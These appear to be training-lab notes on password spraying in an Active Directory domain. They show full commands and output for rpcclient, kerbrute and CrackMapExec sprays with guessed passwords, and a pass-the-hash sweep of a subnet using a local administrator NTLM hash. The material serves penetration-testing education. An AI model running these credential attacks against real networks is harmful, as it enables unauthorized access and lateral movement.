Now that we have list of valid usernames and password policy in hand, it’s time for password spraying.
From Linux
rpcclient
[!bash!]$ for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Account Name: tjohnson, Authority Name: INLANEFREIGHT
Account Name: sgage, Authority Name: INLANEFREIGHT
Kerbrute
[!bash!]$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop
2022/02/17 22:57:12 > Using KDC(s):
2022/02/17 22:57:12 > 172.16.5.5:88
2022/02/17 22:57:12 > [+] VALID LOGIN: sgage@inlanefreight.local:Welcome1
2022/02/17 22:57:12 > Done! Tested 57 logins (1 successes) in 0.172 seconds
CrackMapExec
[!bash!]$ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\avazquez:Password123
Local Administrator Password Reuse
Local Administrator password is reused pretty often because it easy to manage by using same password across multiple hosts.
[!bash!]$ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
SMB 172.16.5.50 445 ACADEMY-EA-MX01 [+] ACADEMY-EA-MX01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB 172.16.5.25 445 ACADEMY-EA-MS01 [+] ACADEMY-EA-MS01\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)
SMB 172.16.5.125 445 ACADEMY-EA-WEB0 [+] ACADEMY-EA-WEB0\administrator 88ad09182de639ccc6579eb0849751cf (Pwn3d!)